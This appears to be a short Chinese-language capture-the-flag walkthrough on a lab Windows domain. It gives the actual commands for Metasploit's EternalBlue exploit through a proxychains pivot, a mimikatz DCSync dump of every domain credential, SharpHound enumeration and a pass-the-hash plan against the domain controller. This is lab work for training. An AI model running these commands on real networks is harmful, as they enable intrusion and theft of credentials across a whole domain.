蚁剑连接直接为System权限

172.22.1.21#

直接用msf打永恒之蓝，这里用Mac利用失败了，开kali虚拟机配置proxychain

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  10.66.174.145 9999
shell

这里因为靶机不出网，payload要用正向连接

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
shell

拿到shell为System权限但没有flag，可以load kiwi并creds_all发现本机上有个域内机器账户，也是说本机system权限具备访问域控的能力

其他方法（上bloodhound进行域内信息收集）

upload SharpHound.exe C:/SharpHound.exe
SharpHound.exe -c all
download C:/2025**********_BloodHound.zip
cmd

可发现此主机拥有DCSync权限，抓Admin哈希值打哈希传递拿下域控
